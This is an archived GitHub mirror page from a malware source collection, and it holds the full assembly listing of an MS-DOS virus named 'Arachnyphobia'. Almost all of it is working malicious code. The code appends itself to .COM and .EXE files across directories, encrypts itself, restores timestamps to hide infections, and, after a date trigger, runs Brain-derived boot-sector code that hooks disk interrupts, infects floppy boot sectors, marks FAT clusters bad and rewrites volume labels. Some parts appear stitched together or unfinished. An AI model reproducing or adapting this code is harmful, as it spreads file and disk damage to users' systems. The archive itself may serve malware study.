13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 09:52:32 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.alchemy.asm
2021-01-12 17:29:01 -06:00

1040 lines
32 KiB
NASM

; Alchemy.asm : [Arachnyphobia] by Abraxas
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'DA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov bx,offset startencrypt ; start of decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,07h ; add word ptr cs:[bx], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bx ; calculate new decryption location
inc bx
loop decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],1 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h
cmp dh,10 ; Check month
jb exit_virus
cmp dl,14 ; Check date
jb exit_virus
cmp cx,1991 ; Check year
jae activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
org 0
cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '..... $'
db '#@%$'
db '@!! '
entervirus:
mov ax,cs
mov ds,ax ; ds = 0
mov ss,ax ; set stack to after
mov sp,0F000h ; virus
sti
mov al,ds:[7C00h+offset firsthead]
mov ds:[7C00h+offset curhead],al
mov cx,ds:[7C00h+offset firstsector]
mov ds:[7C00h+offset cursector],cx
call calcnext
mov cx,5 ; read five sectors
mov bx,7C00h+200h ; after end of virus
loadnext:
call readdisk
call calcnext
add bx,200h
loop loadnext
mov ax,word ptr ds:[413h] ; Base memory size in Kb
sub ax,7 ; - 7 Kb
mov word ptr ds:[413h],ax ; Insert as new value
mov cl,6
shl ax,cl ; Convert to paragraphs
mov es,ax
mov si,7C00h ; Copy from virus start
mov di,0 ; to start of memory
mov cx,1004h ; Copy 1004h bytes
cld
rep movsb
push es
mov ax,200h
push ax
retf ; return to old boot sector
readdisk:
push cx
push bx
mov cx,4 ; Try 4 times
tryread:
push cx
mov dh,ds:[7C00h+offset curhead]
mov dl,0 ; Read sector from default
mov cx,ds:[7C00h+offset cursector]
mov ax,201h ; Disk to memory at es:bx
int 13h
jnc readOK
mov ah,0 ; Reset disk
int 13h ; (force read track 0)
pop cx
loop tryread
int 18h ; ROM basic on failure
readOK:
pop cx
pop bx
pop cx
retn
calcnext:
mov al,byte ptr ds:[7C00h+offset cursector]
inc al
mov byte ptr ds:[7C00h+offset cursector],al
cmp al,0Ah
jne donecalc
mov byte ptr ds:[7C00h+offset cursector],1
mov al,ds:[7C00h+offset curhead]
inc al
mov ds:[7C00h+offset curhead],al
cmp al,2
jne donecalc
mov byte ptr ds:[7C00h+offset curhead],0
inc byte ptr ds:[7C00h+offset cursector+1]
donecalc:
retn
; the following is a collection of garbage bytes
db 00h, 00h, 00h, 00h, 32h,0E3h
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
db 0CDh, 21h,0A2h, 3Ch, 5Fh
a_data dw 050Ch
; Second part of the virus begins here
jmp short entersecondpart
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter db 4 ; keep track of # reads
curdrive db 0
int13flag db 0
entersecondpart:
mov cs:readcounter,1Fh
xor ax,ax
mov ds,ax ; ds -> interrupt table
mov ax,ds:[13h*4]
mov ds:[6Dh*4],ax
mov ax,ds:[13h*4+2]
mov ds:[6Dh*4+2],ax
mov ax,offset int13 ; 276h
mov ds:[13h*4],ax
mov ax,cs
mov ds:[13h*4+2],ax
mov cx,4 ; 4 tries
xor ax,ax
mov es,ax ; es -> interrupt table
tryreadbootsector:
push cx
mov dh,cs:firsthead
mov dl,0
mov cx,cs:firstsector
mov ax,201h ; read from default disk
mov bx,7C00h
int 6Dh ; int 13h
jnc readbootOK
mov ah,0
int 6Dh ; int 13h
pop cx
loop tryreadbootsector
int 18h ; ROM basic on failure
readbootOK: ; return control to
; original boot sector
;* jmp far ptr 0000:7C00h
db 0EAh, 00h, 7Ch, 00h, 00h
nop ; MASM NOP!!!
int13:
sti
cmp ah,2 ; if not read request,
jne doint13 ; do not go further
cmp dl,2 ; if after second floppy,
ja doint13 ; do not go further
cmp ch,0 ; if not reading boot sector,
jne regularread ; go handle as usual
cmp dh,0 ; if boot sector,
je readboot ; do I<-/>/\|> stuff
regularread:
dec cs:readcounter ; Infect after 4 reads
jnz doint13 ; If counter still OK, don't
; do anything else
jmp short readboot ; Otherwise, try to infect
doint13:
jmp exitint13h
readboot:
; FINISH THIS!
mov cs:int13flag,0 ; clear flag
mov cs:readcounter,4 ; reset counter
push ax
push bx
push cx
push dx
mov cs:curdrive,dl
mov cx,4
tryreadbootblock:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errorreadingbootblock ; Try again
mov dh,0
mov cx,1
mov bx,offset readbuffer ; buffer @ 6BEh
push es
mov ax,cs
mov es,ax
mov ax,201h
int 6Dh ; Read boot sector
pop es
jnc continuestuff ; continue if no error
errorreadingbootblock:
pop cx
loop tryreadbootblock
jmp short resetdisk ; too many failures
nop
continuestuff:
pop cx ; get system id in boot block
mov ax,word ptr cs:[offset readbuffer+4]
cmp ax,1234h ; already infected?
jne dodisk ; if not, infect it
mov cs:int13flag,1 ; flag prev. infection
jmp short noreset
dodisk:
push ds
push es
mov ax,cs
mov ds,ax
mov es,ax
push si
call writevirus ; infect the disk
jc failme ; exit on failure
mov cs:int13flag,2 ; flag success
call changeroot ; manipulate volume label
failme:
pop si
pop es
pop ds
jnc noreset ; don't reset on success
resetdisk:
mov ah,0 ; reset disk
int 6Dh ; int 13h
noreset:
pop dx
pop cx
pop bx
pop ax
cmp cx,1
jne exitint13h
cmp dh,0
jne exitint13h
cmp cs:int13flag,1 ; already infected?
jne wasntinfected ; if wasn't, go elsewhere
mov cx,word ptr cs:[offset readbuffer+7]
mov dx,word ptr cs:[offset readbuffer+5]
mov dl,cs:curdrive ; otherwise, read real
jmp short exitint13h ; boot sector
wasntinfected:
cmp cs:int13flag,2 ; successful infection?
jne exitint13h ; if not, just do call
mov cx,cs:firstsector
mov dh,cs:firsthead
exitint13h:
int 6Dh ; int 13h
retf 2
db 15 dup (0)
FATManip: ; returns al as error code
jmp short delvedeeper
nop
FATManipreadcounter dw 3
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
call readFAT ; Get FAT ID byte
mov ax,word ptr ds:[offset readbuffer]
cmp ax,0FFFDh ; is it 360K disk?
je is360Kdisk ; continue if so
mov al,3 ; al=3 == not good disk
stc ; flag error
retn ; and exit
is360Kdisk:
mov cx,37h
mov FATManipreadcounter,0 ; none found yet
checknextsector:
call FATentry12bit ; get entry in FAT
cmp ax,0 ; unused?
jne notunused
inc FATManipreadcounter ; one more found unused
cmp FATManipreadcounter,3 ; If need more,
jne tryanother ; go there
jmp short markembad ; found 3 consecutive
nop ; empty sectors
notunused:
mov FATManipreadcounter,0 ; must start over
tryanother:
inc cx ; try next sector
cmp cx,163h ; end of disk?
jne checknextsector ; if not, continue
mov al,1 ; al=1 == none empty
stc ; Indicate error
retn
markembad:
mov dl,3 ; 3 times
markanotherbad:
call markbad12bit
dec cx
dec dl
jnz markanotherbad
inc cx
call calc1sttrack
call writeFAT ; update FAT
mov al,0 ; al=0 == ok
clc ; indicate success
retn
markbad12bit:
push cx
push dx
mov si,offset readbuffer ; si -> buffer
mov al,cl
shr al,1
jc low_12 ; low bits
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0F000h ; mark it bad
or ax,0FF7h
jmp short putitback ; and put it back
nop
low_12:
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0Fh ; mark it bad
or ax,0FF70h
putitback:
mov [bx+si],ax ; replace FAT entry
mov word ptr ds:[400h][bx+si],ax ; in two places
pop dx
pop cx
retn
FATentry12bit:
push cx
mov si,offset readbuffer ; si->buffer
mov al,cl
shr al,1
; Part 3 of the virus starts here
jc want_high_12
call clus2offset12bit
mov ax,[bx+si]
and ax,0FFFh
jmp short exitFATentry12bit
nop
want_high_12:
call clus2offset12bit ; xxxxxxxxxxxx0000
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
and ax,0FFF0h ; mask wanted bits
mov cl,4 ; and move to correct
shr ax,cl ; position
exitFATentry12bit:
pop cx
retn
clus2offset12bit:
push dx
mov ax,3
mul cx
shr ax,1 ; ax = cx*1.5
mov bx,ax
pop dx
retn
readFAT:
mov ah,2 ; read
call FAT_IO
retn
writeFAT:
mov ah,3 ; write
call FAT_IO
retn
FAT_IO:
mov cx,4 ; try four times
FAT_IOLoop:
push cx
push ax
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop ax
jc tryFAT_IOagain
mov bx,offset readbuffer
mov al,4 ; 4 sectors
mov dh,0 ; head 0
mov dl,curdrive
mov cx,2 ; sector 2
push ax ; (FAT)
int 6Dh ; int 13h
pop ax
jnc exitFAT_IO
tryFAT_IOagain:
pop cx
loop FAT_IOLoop
pop ax
pop ax
mov al,2
stc ; mark error
retn
exitFAT_IO:
pop cx
retn
calc1sttrack:
push cx
sub cx,2
shl cx,1 ; 2 sectors/cluster
add cx,0Ch ; start of data area
mov ax,cx ; ax = sector
mov cl,12h ; 4096
div cl ; ax/4096 = al rem ah
mov byte ptr firstsector+1,al
mov firsthead,0
inc ah
cmp ah,9 ; past track 9?
jbe notpasttrack9 ; nope, we are ok
sub ah,9 ; otherwise, adjust
mov firsthead,1
notpasttrack9:
mov byte ptr firstsector,ah
pop cx
retn
db 0, 0, 0, 0, 0, 0
r_or_w_root db 3
entrycount dw 35h
tempsave1 dw 303h
tempsave2 dw 0EBEh
tempsave3 dw 1
tempsave4 dw 100h
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
db 8Dh, 98h, 9Fh, 8Eh,0E0h
db ' (c) ashar $'
changeroot:
call readroot ; read in root directory
jc donotchangeroot
push di
call changevolume ; change volume label
pop di
jc donotchangeroot
call writeroot ; write back new root dir
donotchangeroot:
retn
; The following is just garbage bytes
db 0BBh, 9Bh, 04h,0B9h, 0Bh
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
db 0C6h, 06h
changevolume:
mov entrycount,6Ch
mov si,offset readbuffer+40h; 3nd dir entry
mov tempsave1,dx
mov ax,entrycount ; 6Ch
shr ax,1
mov tempsave3,ax ; 36h
shr ax,1
mov tempsave2,ax ; 1Bh
xchg ax,cx
and cl,43h ; cx = 3
mov di,tempsave2
add di,1E3h ; di = 01FE
findlabel:
mov al,[si]
cmp al,0
je dolabel ; no mo entries
mov al,[si+0Bh] ; attribute byte
and al,8 ; volume label?
cmp al,8 ; yes?
je dolabel ; then change it!
add si,20h ; go to next directory entry
dec entrycount
jnz findlabel ; loop back
stc ; Error!
retn
db 8Bh
dolabel:
mov bx,[di] ; offset a_data
xor bx,tempsave3 ; bx = 53Ah
mov tempsave3,si ; si->direntry
cli
mov ax,ss
mov tempsave1,ax
mov tempsave2,sp
mov ax,cs
mov ss,ax
mov sp,tempsave3
add sp,0Ch ;->reserved area
mov cl,51h
add dx,444Ch
mov di,2555h
mov cx,0C03h
repe cmpsw
mov ax,0B46h
mov cx,3
rol ax,cl ; ax = 5A30h
mov tempsave3,ax
mov cx,5
mov dx,8
sub tempsave3,5210h ; 820h
push tempsave3 ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
; Comment mode OFF
dowhatever:
mov ah,[bx] ; 5a3h
inc bx
mov dl,ah
shl dl,1
jc dowhatever
searchstuff:
mov dl,[bx] ; dl=C2h
inc bx ; bx=53Eh
mov al,dl
shl dl,1
jc searchstuff
add ax,1D1Dh
push ax
inc tempsave3
db 73h, 01h ; jnc $+3
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
xchg bp,ax
add al,0A1h
xchg bx,ax
add al,8Eh
sar bl,1
add dh,[bp+si]
clc
ret
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
; Comment mode ON
readroot:
mov r_or_w_root,2 ; set action code
jmp short do_rw_root ; easier to do w/
nop ; mov ah, 2
writeroot:
mov r_or_w_root,3
jmp short do_rw_root ; this is somewhat useless
nop
do_rw_root:
mov dh,0 ; head 0
mov dl,curdrive
mov cx,6 ; sector 6
mov ah,r_or_w_root
mov al,4 ; 4 sectors
mov bx,offset readbuffer
call doint13h
jc exit_rw_root ; quit on error
mov cx,1
mov dh,1 ; head 1
mov ah,r_or_w_root
mov al,3
add bx,800h
call doint13h
exit_rw_root:
retn
doint13h:
mov tempsave1,ax
mov tempsave2,bx
mov tempsave3,cx
mov tempsave4,dx
mov cx,4
doint13hloop:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errordoingint13h
mov ax,tempsave1
mov bx,tempsave2
mov cx,tempsave3
mov dx,tempsave4
int 6Dh ; int 13h
jnc int13hsuccess
errordoingint13h:
pop cx
loop doint13hloop
stc ; indicate error
retn
int13hsuccess:
pop cx
retn
db 0, 0, 0
; Part 4 of the virus starts here
tempstorecx dw 3
readwritecurrentdata dw 301h
writevirus:
call FATManip
jc exitwritevirus
mov cursector,1
mov curhead,0
mov bx,offset readbuffer
call readcurrent
mov bx,offset readbuffer
mov ax,firstsector
mov cursector,ax
mov ah,firsthead
mov curhead,ah
call writecurrent
call calcnextsector
mov cx,5
mov bx,200h
writeanothersector:
mov tempstorecx,cx
call writecurrent
call calcnextsector
add bx,200h
mov cx,tempstorecx
loop writeanothersector
mov curhead,0
mov cursector,1
mov bx,0
call writecurrent
clc ; indicate success
exitwritevirus:
retn
readcurrent:
mov readwritecurrentdata,201h
jmp short doreadwrite
nop
writecurrent:
mov readwritecurrentdata,301h
jmp short doreadwrite ; This is pointless.
nop
doreadwrite:
push bx
mov cx,4
tryreadwriteagain:
push cx
mov dh,curhead
mov dl,curdrive
mov cx,cursector
mov ax,readwritecurrentdata ; read or write?
int 6Dh ; int 13h
jnc readwritesuccessful
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop cx
loop tryreadwriteagain
pop bx
pop bx
stc ; Indicate error
retn
readwritesuccessful:
pop cx
pop bx
retn
calcnextsector:
inc byte ptr cursector ; next sector
cmp byte ptr cursector,0Ah
jne donecalculate ; finished calculations
mov byte ptr cursector,1 ; clear sector #
inc curhead ; and go to next head
cmp curhead,2 ; if not too large,
jne donecalculate ; we are done
mov curhead,0 ; otherwise clear head #
inc byte ptr cursector+1 ; and advance cylinder
donecalculate:
retn
db 64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
readbuffer:
jmp exit_virus
creator db '[Z10]',0 ; Mass Produced Code Generator
virusname db '[Arachnyphobia]',0
author db 'Abraxas',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,12000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point